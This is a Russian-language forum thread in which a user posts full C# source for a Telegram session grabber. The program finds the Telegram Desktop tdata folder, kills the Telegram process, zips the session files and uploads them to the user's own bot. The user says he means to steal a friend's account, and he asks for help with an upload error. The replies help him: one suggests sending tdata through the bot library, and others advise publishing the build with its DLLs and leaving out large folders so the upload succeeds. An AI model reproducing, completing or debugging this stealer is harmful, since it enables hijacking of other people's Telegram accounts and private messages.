Загрузка...

Ошибка при отправке файла в TG BOT "Удаленный хост принудительно оборвал соеденения"

Тема в разделе C# создана пользователем конормакгрегор 23 янв 2025. 224 просмотра

Загрузка...
  1. конормакгрегор
    конормакгрегор Автор темы 23 янв 2025 306 3 окт 2023
    Короче сделал какой то говно грабер tdat'ы с компа
    ( Ну как сделал отправку в telegram спиздил на другом форуме )
    задумка в том чтобы файл отправлялся в telegram bot

    Хотел над кентом порофлить и спиздить тг ибо этот шалун качает все что ему кидают)))
    По итогу эта ошибка меня ебет уже день я не особо программист просто хотел спиздить тг у кента
    Но ошибка эта не дает что либо сделать( как ее можно исправить?


    CSHARP
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.IO.Compression;
    using System.Linq;
    using System.Net.Http;
    using System.Text;
    using System.Threading.Tasks;
    using Telegram.Bot;
    using Telegram.Bot.Types;
    using Telegram.Bot.Types.InputFiles;

    namespace NetFramesStart
    {
    class Program
    {
    static string zipFileName = "pach_to_tdata";
    private static string token_bot = "тут типо мой токен";
    private static long chat_id = тут типо мой chat id;

    static async Task Main(string[] args)
    {
    string USER_PC = Environment.UserName;
    string way_to_data_one = $@"C:\Windows.old\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\tdata";
    string way_to_data_two = $@"C:\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\tdata";

    if (Directory.Exists(way_to_data_one))
    {
    Console.WriteLine("Папка найдена в первом пути!");
    KillTelegramProcessIfRunning();
    zipFileName = $@"C:\Windows.old\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\session-grund.zip";
    CreateZipWithFolder(way_to_data_one, zipFileName);
    await SendFileToTelegram(zipFileName);
    }
    else if (Directory.Exists(way_to_data_two))
    {
    Console.WriteLine("Папка найдена во втором пути!");
    KillTelegramProcessIfRunning();
    zipFileName = $@"C:\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\session-grund.zip";
    CreateZipWithFolder(way_to_data_two, zipFileName);
    await SendFileToTelegram(zipFileName);
    }
    else
    {
    Console.WriteLine("Ни одна из папок не найдена.");
    return;
    }

    if (!string.IsNullOrEmpty(zipFileName) && System.IO.File.Exists(zipFileName))
    {
    Console.WriteLine($"Архив создан: {zipFileName}");
    }
    else
    {
    Console.WriteLine("Архив не был создан или файл не существует.");
    return;
    }
    }

    static void KillTelegramProcessIfRunning()
    {
    try
    {
    var processes = Process.GetProcessesByName("Telegram");
    foreach (var process in processes)
    {
    Console.WriteLine("Обнаружен работающий процесс Telegram. Завершаем его...");
    process.Kill();
    process.WaitForExit();
    Console.WriteLine("Процесс Telegram завершен.");
    }
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Ошибка при завершении процесса Telegram: {ex.Message}");
    return;
    }
    }

    static void CreateZipWithFolder(string folderPath, string zipFilePath)
    {
    try
    {
    using (ZipArchive zip = ZipFile.Open(zipFilePath, ZipArchiveMode.Create))
    {
    string folderName = Path.GetFileName(folderPath);
    AddDirectoryToZip(zip, folderPath, folderName);
    }
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Ошибка при создании архива: {ex.Message}");
    return;
    }
    }

    static void AddDirectoryToZip(ZipArchive zip, string directoryPath, string folderNameInZip)
    {
    try
    {
    foreach (var file in Directory.GetFiles(directoryPath))
    {
    try
    {
    string entryName = Path.Combine(folderNameInZip, Path.GetFileName(file));

    if (IsFileInUse(file))
    {
    continue;
    }

    zip.CreateEntryFromFile(file, entryName);
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Ошибка при добавлении файла в архив: {ex.Message}");
    return;
    }
    }

    foreach (var directory in Directory.GetDirectories(directoryPath))
    {
    try
    {
    string subfolderName = Path.GetFileName(directory);
    AddDirectoryToZip(zip, directory, Path.Combine(folderNameInZip, subfolderName));
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Ошибка при добавлении подпапки в архив: {ex.Message}");
    return;
    }
    }
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Ошибка при обработке папки: {ex.Message}");
    return;
    }
    }
    static async Task SendFileToTelegram(string filePath)
    {
    var botClient = new TelegramBotClient(token_bot);
    using (var stream = new FileStream(zipFileName, FileMode.Open))
    {
    var inputFile = new InputOnlineFile(stream, Path.GetFileName(zipFileName));
    await botClient.SendDocumentAsync(chat_id, inputFile);
    Console.WriteLine("Файл отправлен в Telegram.");
    }
    }


    static bool IsFileInUse(string filePath)
    {
    try
    {
    using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.ReadWrite, FileShare.None))
    {
    return false;
    }
    }
    catch
    {
    return true;
    }
    }

    }
    }
    Что делать с этой ошибкой уже все пробовал отправило только раз и то пустой архив
     
  2. Kalipso
    Kalipso 24 янв 2025 :love2: TRX&ENERGY(FROM 100₽/66.000) - lzt.lol/2trx :love2: 497 12 апр 2022
    лучше обойтись библиотекой тг бота и просто с помощью запроса отправить тдату в бота. там ничего сложного.
     
    1. конормакгрегор Автор темы
      Kalipso, Решил проблему tdata весит больше 200 мб если учитывать emoji и user data ( у меня ) добавил условия чтобы emoji и user data удаляло и вес снизился до 20 мб ( в бота максимум 50 мб можно закидывать )
    2. Kalipso
  3. levinNewik
    levinNewik 30 янв 2025 0 30 дек 2023
    кароче ошибка в том что,нету DLL файлов а именно тебе нужно билдить не пересобрать а Опубликовать и выбираешь может не так обьяснил думаю поймёшь
    --- Сообщение объединено с предыдущим 30 янв 2025
    и добавь файлы которые он не должен граббить user_data, user_data#2
     
Top